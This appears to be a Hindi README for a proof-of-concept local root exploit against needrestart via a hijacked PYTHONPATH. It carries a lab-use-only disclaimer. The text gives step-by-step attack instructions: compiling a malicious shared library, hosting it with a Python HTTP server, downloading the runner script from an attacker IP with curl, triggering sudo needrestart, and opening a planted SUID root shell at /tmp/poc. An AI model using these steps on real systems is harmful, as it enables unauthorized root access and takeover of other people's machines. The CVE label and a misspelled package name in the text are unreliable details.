
CVE-2024-4890 के लिए PoC एक्सप्लॉइट: neecdrestart (>=3.8) के माध्यम से सुडो विशेषाधिकार वृद्धि. केवल नैतिक प्रयोगशाला के लिए. पायथन और सी में स्क्रिप्ट्स.
केवल नियंत्रित वातावरण में प्रयोगशाला उपयोग के लिए। स्पष्ट प्राधिकरण के बिना उत्पादन प्रणालियों पर शोषण न करें। यह PoC केवल शैक्षिक उद्देश्यों के लिए है। लेखक किसी भी दुरुपयोग या अनधिकृत पहुंच के लिए जिम्मेदार नहीं है।
CVE-2024-4890 needrestart (संस्करण >= 3.8) में एक गंभीर भेद्यता है जो उन्नत विशेषाधिकारों के साथ मनमाना कोड निष्पादन को सक्षम करती है। यह समस्या प्रक्रिया स्कैनिंग के दौरान पर्यावरण चर और कॉन्फ़िगरेशन फ़ाइलों के असुरक्षित हैंडलिंग से उत्पन्न होती है।
विशेष रूप से, जब sudo के साथ चलाया जाता है, तो needrestart चल रही Python प्रक्रियाओं का निरीक्षण करता है, जिसमें उनका PYTHONPATH पर्यावरण चर भी शामिल है। एक हमलावर एक कस्टम PYTHONPATH सेट करके इसे हाईजैक कर सकता है जो एक नियंत्रित निर्देशिका (जैसे, /tmp/attacker) की ओर इशारा करता है। इस निर्देशिका के अंदर, एक दुर्भावनापूर्ण मॉड्यूल (__init__.so) को एक नकली importlib संरचना में रखा जाता है। जब needrestart इसे रूट के रूप में आयात करने का प्रयास करता है (लाइब्रेरीज़ की जांच करने के लिए), तो पेलोड निष्पादित होता है, जो रूट एक्सेस प्रदान करता है।
यह PoC एक चारा Python प्रक्रिया, एक दुर्भावनापूर्ण साझा लाइब्रेरी (C से संकलित), और एक ऑटोमेशन स्क्रिप्ट के माध्यम से शोषण का प्रदर्शन करता है।
needrestart >= 3.8 और इसके लिए sudo एक्सेस वाला Linux सिस्टम।gcc (संकलन के लिए), curl, python3।इन्हें लक्ष्य मशीन पर /tmp/attacker में रखें।
e.py: चारा Python स्क्रिप्ट (लूप में चलती है, पेलोड सफलता की प्रतीक्षा करती है)।runner.sh: चारा सेट करने और ट्रिगर करने के लिए ऑटोमेशन स्क्रिप्ट।lib.c को __init__.so में संकलित करें और इसे होस्ट करें:gcc -shared -fPIC -o init.so lib.c
python3 -m http.server 8000
लक्ष्य मशीन (पीड़ित):
/tmp/attacker निर्देशिका बनाएं।main.py कॉपी करें।runner.sh डाउनलोड करें और इसे निष्पादन योग्य बनाएं:curl http://<ATTACKER_IP>:<PORT>/runner.sh -o /tmp/attacker/runner.sh
chmod +x /tmp/attacker/runner.sh
एक टर्मिनल में सेटअप चलाएं:
cd /tmp/attacker && ./runner.sh
यह दुर्भावनापूर्ण मॉड्यूल, चारा स्क्रिप्ट बनाता है और हाईजैक की गई Python प्रक्रिया शुरू करता है।
sudo /usr/sbin/needrestartneedrestart चारा प्रक्रिया का पता लगाता है, PYTHONPATH पढ़ता है, और रूट के रूप में दुर्भावनापूर्ण __init__.so को आयात करता है—पेलोड निष्पादित करता है।
runner.sh टर्मिनल में):/tmp/poc (पेलोड द्वारा बनाया गया SUID रूट शेल) का पता लगाती है और एक रूट शेल खोलती है:
sudo /tmp/poc -p
सफाई: rm -rf /tmp/attacker /tmp/poc (और यदि जोड़ा गया हो तो sudoers प्रविष्टि हटाएं)।सफलता संकेतक: whoami root दिखाता है या id uid=0(root) दिखाता है।